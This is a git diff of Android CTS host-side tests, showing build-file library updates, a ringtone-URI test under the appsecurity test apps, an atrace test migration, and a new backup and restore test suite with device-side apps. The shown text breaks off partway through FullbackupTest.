index 2d5dd4f..581af78 100644
--- a/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/UsesLibraryApp/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctsdeviceutil ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
index 4cf75f6..3893b7a 100644
--- a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/Android.mk
@@ -18,9 +18,8 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := \
-	android-support-test \
-	legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util
+#ctsdeviceutil
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src) \
     ../ExternalStorageApp/src/com/android/cts/externalstorageapp/CommonExternalStorageTest.java
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/res/raw/ringer.mp3 b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/res/raw/ringer.mp3
new file mode 100644
index 0000000..aa052e7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/res/raw/ringer.mp3
Binary files differ
diff --git a/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/ChangeDefaultUris.java b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/ChangeDefaultUris.java
new file mode 100644
index 0000000..7fa39b4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/WriteExternalStorageApp/src/com/android/cts/writeexternalstorageapp/ChangeDefaultUris.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.writeexternalstorageapp;
+
+import android.content.ContentValues;
+import android.media.RingtoneManager;
+import android.net.Uri;
+import android.os.Environment;
+import android.provider.MediaStore;
+import android.test.AndroidTestCase;
+import com.android.compatibility.common.util.FileCopyHelper;
+import java.io.File;
+
+/** Sets up providers and notifications using external storage. */
+public class ChangeDefaultUris extends AndroidTestCase {
+
+    /** Unique title for provider insert and delete. */
+    private static final String RINGER_TITLE = "CTS ringer title";
+
+    public void testChangeDefaultUris() throws Exception {
+        File mediaFile =
+                new File(
+                        Environment.getExternalStorageDirectory(),
+                        "ringer" + System.currentTimeMillis() + ".mp3");
+        FileCopyHelper copier = new FileCopyHelper(mContext);
+        copier.copyToExternalStorage(R.raw.ringer, mediaFile);
+
+        ContentValues values = new ContentValues();
+        values.put(MediaStore.MediaColumns.DATA, mediaFile.getPath());
+        values.put(MediaStore.MediaColumns.TITLE, RINGER_TITLE);
+        values.put(MediaStore.MediaColumns.MIME_TYPE, "audio/mp3");
+        values.put(MediaStore.Audio.AudioColumns.ARTIST, "CTS ringer artist");
+        values.put(MediaStore.Audio.AudioColumns.IS_RINGTONE, true);
+        values.put(MediaStore.Audio.AudioColumns.IS_NOTIFICATION, true);
+        values.put(MediaStore.Audio.AudioColumns.IS_ALARM, true);
+        values.put(MediaStore.Audio.AudioColumns.IS_MUSIC, false);
+
+        Uri uri =
+                mContext.getContentResolver()
+                        .insert(MediaStore.Audio.Media.EXTERNAL_CONTENT_URI, values);
+
+        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE, uri);
+        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_ALARM, uri);
+        RingtoneManager.setActualDefaultRingtoneUri(
+                mContext, RingtoneManager.TYPE_NOTIFICATION, uri);
+    }
+
+    /** Resets and cleans up to a valid state. This method must not fail. */
+    public void testResetDefaultUris() {
+        mContext.getContentResolver()
+                .delete(
+                        MediaStore.Audio.Media.EXTERNAL_CONTENT_URI,
+                        MediaStore.MediaColumns.TITLE + " = ?",
+                        new String[] {RINGER_TITLE});
+
+        Uri uri = RingtoneManager.getValidRingtoneUri(mContext);
+        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_RINGTONE, uri);
+        RingtoneManager.setActualDefaultRingtoneUri(mContext, RingtoneManager.TYPE_ALARM, uri);
+        RingtoneManager.setActualDefaultRingtoneUri(
+                mContext, RingtoneManager.TYPE_NOTIFICATION, uri);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
index 5c20d49..d1eeffa 100644
--- a/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/keysets/testApp/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_MODULE_TAGS := tests
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 LOCAL_PACKAGE_NAME := CtsKeySetTestApp
 LOCAL_DEX_PREOPT := false
 
diff --git a/hostsidetests/atrace/Android.mk b/hostsidetests/atrace/Android.mk
index d0b7ef5..c4a0913 100644
--- a/hostsidetests/atrace/Android.mk
+++ b/hostsidetests/atrace/Android.mk
@@ -21,9 +21,7 @@
 # Must match the package name in CtsTestCaseList.mk
 LOCAL_MODULE := CtsAtraceHostTestCases
 
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed-prebuilt
-
-LOCAL_STATIC_JAVA_LIBRARIES := cts-migration-lib
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
 
 LOCAL_CTS_TEST_PACKAGE := android.host.atrace
 
diff --git a/hostsidetests/atrace/AndroidTest.xml b/hostsidetests/atrace/AndroidTest.xml
index b8aeb31..8262232 100644
--- a/hostsidetests/atrace/AndroidTest.xml
+++ b/hostsidetests/atrace/AndroidTest.xml
@@ -14,7 +14,9 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS atrace host test cases">
+    <option name="config-descriptor:metadata" key="component" value="uitoolkit" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsAtraceHostTestCases.jar" />
+        <option name="runtime-hint" value="9m" />
     </test>
 </configuration>
diff --git a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
index 4fc041c..25c0b89 100644
--- a/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
+++ b/hostsidetests/atrace/src/android/atrace/cts/AtraceHostTest.java
@@ -16,10 +16,11 @@
 
 package android.atrace.cts;
 
-import com.android.cts.migration.MigrationHelper;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
 import com.android.ddmlib.Log;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IBuildReceiver;
 
@@ -102,7 +103,7 @@
                         /*details*/ m.group(6));
                 return;
             }
-            System.err.println("line doesn't match: " + line);
+            CLog.i("line doesn't match: " + line);
         }
 
         private static void parse(Reader reader, FtraceEntryCallback callback) throws Exception {
@@ -201,7 +202,8 @@
             getDevice().uninstallPackage(TEST_PKG);
 
             // install the test app
-            File testAppFile = MigrationHelper.getTestFile(mCtsBuild, TEST_APK);
+            CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+            File testAppFile = buildHelper.getTestFile(TEST_APK);
             String installResult = getDevice().installPackage(testAppFile, false);
             assertNull(
                     String.format("failed to install atrace test app. Reason: %s", installResult),
diff --git a/hostsidetests/backup/Android.mk b/hostsidetests/backup/Android.mk
new file mode 100644
index 0000000..75796a1
--- /dev/null
+++ b/hostsidetests/backup/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_MODULE_TAGS := tests
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_MODULE := CtsBackupHostTestCases
+
+LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
+
+include $(BUILD_HOST_JAVA_LIBRARY)
+
+include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/backup/AndroidTest.xml b/hostsidetests/backup/AndroidTest.xml
new file mode 100644
index 0000000..2c4641b
--- /dev/null
+++ b/hostsidetests/backup/AndroidTest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS Backup host test cases">
+    <option name="config-descriptor:metadata" key="component" value="backup" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsBackupRestoreDeviceApp.apk" />
+        <option name="test-file-name" value="CtsFullbackupApp.apk" />
+        <option name="test-file-name" value="CtsIncludeExcludeApp.apk" />
+    </target_preparer>
+    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+        <option name="jar" value="CtsBackupHostTestCases.jar" />
+    </test>
+</configuration>
diff --git a/hostsidetests/backup/app/Android.mk b/hostsidetests/backup/app/Android.mk
new file mode 100644
index 0000000..248207c
--- /dev/null
+++ b/hostsidetests/backup/app/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsBackupRestoreDeviceApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/app/AndroidManifest.xml b/hostsidetests/backup/app/AndroidManifest.xml
new file mode 100644
index 0000000..0d3aee8
--- /dev/null
+++ b/hostsidetests/backup/app/AndroidManifest.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2017 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.backup.cts.backuprestoreapp">
+
+    <application
+        android:backupAgent="CtsBackupRestoreBackupAgent">
+        <uses-library android:name="android.test.runner" />
+
+        <activity
+            android:name=".KeyValueBackupRandomDataActivity"
+            android:launchMode="singleInstance">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.backup.cts.backuprestoreapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/CtsBackupRestoreBackupAgent.java b/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/CtsBackupRestoreBackupAgent.java
new file mode 100644
index 0000000..e692fdd
--- /dev/null
+++ b/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/CtsBackupRestoreBackupAgent.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts.backuprestoreapp;
+
+import android.app.backup.BackupAgentHelper;
+
+public class CtsBackupRestoreBackupAgent extends BackupAgentHelper {
+    private static final String KEY_BACKUP_TEST_PREFS_PREFIX = "backup-test-prefs";
+    private static final String KEY_BACKUP_TEST_FILES_PREFIX = "backup-test-files";
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        addHelper(KEY_BACKUP_TEST_PREFS_PREFIX,
+                KeyValueBackupRandomDataActivity.getSharedPreferencesBackupHelper(this));
+        addHelper(KEY_BACKUP_TEST_FILES_PREFIX,
+                KeyValueBackupRandomDataActivity.getFileBackupHelper(this));
+    }
+}
diff --git a/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/KeyValueBackupRandomDataActivity.java b/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/KeyValueBackupRandomDataActivity.java
new file mode 100644
index 0000000..92db3f3
--- /dev/null
+++ b/hostsidetests/backup/app/src/android/backup/cts/backuprestoreapp/KeyValueBackupRandomDataActivity.java
@@ -0,0 +1,228 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.backup.cts.backuprestoreapp;
+
+import android.app.Activity;
+import android.app.backup.BackupManager;
+import android.app.backup.FileBackupHelper;
+import android.app.backup.SharedPreferencesBackupHelper;
+import android.content.Context;
+import android.content.SharedPreferences;
+import android.os.AsyncTask;
+import android.os.Bundle;
+import android.util.Log;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.PrintWriter;
+import java.util.Random;
+import java.util.Scanner;
+
+/**
+ * Test activity that reads/writes to shared preferences and files.
+ *
+ * It uses logcat messages to send the data to the host side of the test.
+ * The format of logcat messages: "DATA_PREF: VALUE".
+ * VALUES_LOADED_MESSAGE is logged after all the values.
+ *
+ * Workflow onCreate:
+ * - Read shared preferences and files
+ * - If the values are default ones:
+ *      - Randomly generate new values
+ *      - Save new values to shared preferences and files
+ *      - Load the new values.
+ *
+ * Migrated from BackupTestActivity in former BackupTest CTS Verfifier test.
+ */
+public class KeyValueBackupRandomDataActivity extends Activity {
+    private static final String TAG = KeyValueBackupRandomDataActivity.class.getSimpleName();
+
+    private static final String TEST_PREFS_1 = "test-prefs-1";
+    private static final String INT_PREF = "int-pref";
+    private static final String BOOL_PREF = "bool-pref";
+
+    private static final String TEST_PREFS_2 = "test-prefs-2";
+    private static final String FLOAT_PREF = "float-pref";
+    private static final String LONG_PREF = "long-pref";
+    private static final String STRING_PREF = "string-pref";
+
+    private static final String TEST_FILE_1 = "test-file-1";
+    private static final String TEST_FILE_2 = "test-file-2";
+
+    private static final int DEFAULT_INT_VALUE = 0;
+    private static final boolean DEFAULT_BOOL_VALUE = false;
+    private static final float DEFAULT_FLOAT_VALUE = 0.0f;
+    private static final long DEFAULT_LONG_VALUE = 0L;
+    private static final String DEFAULT_STRING_VALUE = null;
+
+    private static final String VALUES_LOADED_MESSAGE = "ValuesLoaded";
+    private static final String EMPTY_STRING_LOG = "empty";
+
+    private boolean mDefaultValues = true;
+    private boolean mValuesWereGenerated;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        new LoadBackupItemsTask().execute();
+    }
+
+    public static SharedPreferencesBackupHelper getSharedPreferencesBackupHelper(Context context) {
+        return new SharedPreferencesBackupHelper(context, TEST_PREFS_1, TEST_PREFS_2);
+    }
+
+    public static FileBackupHelper getFileBackupHelper(Context context) {
+        return new FileBackupHelper(context, TEST_FILE_1, TEST_FILE_2);
+    }
+
+    class LoadBackupItemsTask extends AsyncTask<Void, Void, Void> {
+
+        @Override
+        protected Void doInBackground(Void... params) {
+            loadPreferenceGroup1();
+            loadPreferenceGroup2();
+            loadFile(TEST_FILE_1);
+            loadFile(TEST_FILE_2);
+            return null;
+        }
+
+        private void loadPreferenceGroup1() {
+            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+
+            int intValue = prefs.getInt(INT_PREF, DEFAULT_INT_VALUE);
+            Log.i(TAG, INT_PREF + ":" + intValue);
+
+            boolean boolValue = prefs.getBoolean(BOOL_PREF, DEFAULT_BOOL_VALUE);
+            Log.i(TAG, BOOL_PREF + ":" + boolValue);
+
+            mDefaultValues = mDefaultValues
+                    && intValue == DEFAULT_INT_VALUE
+                    && boolValue == DEFAULT_BOOL_VALUE;
+        }
+
+        private void loadPreferenceGroup2() {
+            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_2, MODE_PRIVATE);
+
+            float floatValue = prefs.getFloat(FLOAT_PREF, DEFAULT_FLOAT_VALUE);
+            Log.i(TAG, FLOAT_PREF + ":" + floatValue);
+
+            long longValue = prefs.getLong(LONG_PREF, DEFAULT_LONG_VALUE);
+            Log.i(TAG, LONG_PREF + ":" + longValue);
+
+            String stringValue = prefs.getString(STRING_PREF, DEFAULT_STRING_VALUE);
+            Log.i(TAG, STRING_PREF + ":" + stringValue);
+
+            mDefaultValues = mDefaultValues
+                            && floatValue == DEFAULT_FLOAT_VALUE
+                            && longValue == DEFAULT_LONG_VALUE
+                            && stringValue == DEFAULT_STRING_VALUE;
+        }
+
+        private void loadFile(String fileName) {
+            StringBuilder contents = new StringBuilder();
+            Scanner scanner = null;
+            try {
+                scanner = new Scanner(new File(getFilesDir(), fileName));
+                while (scanner.hasNext()) {
+                    contents.append(scanner.nextLine());
+                }
+                scanner.close();
+            } catch (FileNotFoundException e) {
+                Log.i(TAG, "Couldn't find test file but this may be fine...");
+            } finally {
+                if (scanner != null) {
+                    scanner.close();
+                }
+            }
+            String logString = contents.toString();
+            logString = logString.isEmpty() ? EMPTY_STRING_LOG : logString;
+            Log.i(TAG, fileName + ":" + logString);
+
+            mDefaultValues = mDefaultValues && contents.toString().isEmpty();
+        }
+
+        @Override
+        protected void onPostExecute(Void param) {
+            super.onPostExecute(param);
+
+            if (mDefaultValues && !mValuesWereGenerated) {
+                new GenerateValuesTask().execute();
+            } else {
+                Log.i(TAG, VALUES_LOADED_MESSAGE);
+            }
+        }
+    }
+
+    class GenerateValuesTask extends AsyncTask<Void, Void, Exception> {
+
+        @Override
+        protected Exception doInBackground(Void... params) {
+            Random random = new Random();
+            generatePreferenceGroup1(random);
+            generatePreferenceGroup2(random);
+            try {
+                generateTestFile(TEST_FILE_1, random);
+                generateTestFile(TEST_FILE_2, random);
+            } catch (FileNotFoundException e) {
+                return e;
+            }
+            return null;
+        }
+
+        private void generatePreferenceGroup1(Random random) {
+            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putInt(INT_PREF, (random.nextInt(100) + 1));
+            editor.putBoolean(BOOL_PREF, random.nextBoolean());
+            editor.commit();
+        }
+
+        private void generatePreferenceGroup2(Random random) {
+            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_2, MODE_PRIVATE);
+            SharedPreferences.Editor editor = prefs.edit();
+            editor.putFloat(FLOAT_PREF, random.nextFloat());
+            editor.putLong(LONG_PREF, random.nextLong());
+            editor.putString(STRING_PREF, "Random number " + (random.nextInt(100) + 1));
+            editor.commit();
+        }
+
+        private void generateTestFile(String fileName, Random random)
+                throws FileNotFoundException {
+            File file = new File(getFilesDir(), fileName);
+            PrintWriter writer = new PrintWriter(file);
+            writer.write("Random number " + (random.nextInt(100) + 1));
+            writer.close();
+        }
+
+        @Override
+        protected void onPostExecute(Exception exception) {
+            super.onPostExecute(exception);
+            mValuesWereGenerated = true;
+
+            if (exception != null) {
+                Log.e(TAG, "Couldn't generate test data...", exception);
+            } else {
+                BackupManager backupManager = new BackupManager(
+                        KeyValueBackupRandomDataActivity.this);
+                backupManager.dataChanged();
+
+                new LoadBackupItemsTask().execute();
+            }
+        }
+    }
+}
diff --git a/hostsidetests/backup/fullbackupapp/Android.mk b/hostsidetests/backup/fullbackupapp/Android.mk
new file mode 100644
index 0000000..46af984
--- /dev/null
+++ b/hostsidetests/backup/fullbackupapp/Android.mk
@@ -0,0 +1,39 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# Don't include this package in any target
+LOCAL_MODULE_TAGS := tests
+# When built, explicitly put it in the data partition.
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_DEX_PREOPT := false
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PACKAGE_NAME := CtsFullbackupApp
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_PACKAGE)
diff --git a/hostsidetests/backup/fullbackupapp/AndroidManifest.xml b/hostsidetests/backup/fullbackupapp/AndroidManifest.xml
new file mode 100644
index 0000000..58f9306
--- /dev/null
+++ b/hostsidetests/backup/fullbackupapp/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.cts.backup.fullbackupapp">
+
+    <application android:label="FullbackupApp" >
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.cts.backup.fullbackupapp" />
+
+</manifest>
diff --git a/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java b/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
new file mode 100644
index 0000000..ee49b87
--- /dev/null
+++ b/hostsidetests/backup/fullbackupapp/src/android/cts/backup/fullbackupapp/FullbackupTest.java
@@ -0,0 +1,166 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.cts.backup.fullbackupapp;
+
+import static android.support.test.InstrumentationRegistry.getTargetContext;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+
+import android.content.Context;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Log;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.BufferedOutputStream;
+import java.io.File;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.util.Random;
+
+/**
+ * Device side routines to be invoked by the host side FullbackupRulesHostSideTest. These are not
+ * designed to be called in any other way, as they rely on state set up by the host side test.
+ */
+@RunWith(AndroidJUnit4.class)
+public class FullbackupTest {
+    public static final String TAG = "FullbackupCTSApp";
+    private static final int FILE_SIZE_BYTES = 1024 * 1024;
+
+    private Context mContext;
+
+    private File mNoBackupFile;
+    private File mNoBackupFile2;
+    private File mDoBackupFile;
+    private File mDoBackupFile2;
+
+    @Before
+    public void setUp() {
+        mContext = getTargetContext();
+        setupFiles();
+    }
+
+    private void setupFiles() {
+        // Files in the 'no_backup' directory. We expect these to not be backed up.
+        File noBackupDir = mContext.getNoBackupFilesDir();
+        File folderInNoBackup = new File(noBackupDir, "folder_not_to_backup");
+
+        mNoBackupFile = new File(noBackupDir, "file_not_backed_up");
+        mNoBackupFile2 = new File(folderInNoBackup, "file_not_backed_up2");
+
+        // Files in the normal files directory. These should be backed up and restored.
+        File filesDir = mContext.getFilesDir();
+        File normalFolder = new File(filesDir, "normal_folder");
+
+        mDoBackupFile = new File(filesDir, "file_to_backup");
+        mDoBackupFile2 = new File(normalFolder, "file_to_backup2");
+    }
+
+    @Test
+    public void createFiles() throws Exception {
+        // Make sure the data does not exist from before
+        deleteAllFiles();
+        checkNoFilesExist();
+
+        // Create test data
+        generateFiles();
+        checkAllFilesExist();
+
+        Log.d(TAG, "Test files created:");
+        Log.d(TAG, mNoBackupFile.getAbsolutePath());
+        Log.d(TAG, mNoBackupFile2.getAbsolutePath());
+        Log.d(TAG, mDoBackupFile.getAbsolutePath());
+        Log.d(TAG, mDoBackupFile2.getAbsolutePath());
+    }
+
+    @Test
+    public void deleteFilesAfterBackup() throws Exception {
+        // Make sure the test data exists first
+        checkAllFilesExist();
+
+        // Delete test data
+        deleteAllFiles();
+
+        // Now there should be no files left
+        checkNoFilesExist();
+    }
+
+    @Test
+    public void checkRestoredFiles() throws Exception {
+        // After a restore, only files outside the 'no_backup' folder should exist
+        checkNoBackupFilesDoNotExist();
+        checkDoBackupFilesDoExist();
+    }
+
+    private void generateFiles() {
+        try {
+            // Add data to all the files we created
+            addData(mNoBackupFile);
+            addData(mNoBackupFile2);
+            addData(mDoBackupFile);
+            addData(mDoBackupFile2);
+            Log.d(TAG, "Files generated!");
+        } catch (IOException e) {
+            Log.e(TAG, "Unable to generate files", e);
+        }
+    }
+
+    private void deleteAllFiles() {
+        mNoBackupFile.delete();
+        mNoBackupFile2.delete();
+        mDoBackupFile.delete();
+        mDoBackupFile2.delete();
+        Log.d(TAG, "Files deleted!");
+    }
+
+    private void addData(File file) throws IOException {
+        file.getParentFile().mkdirs();
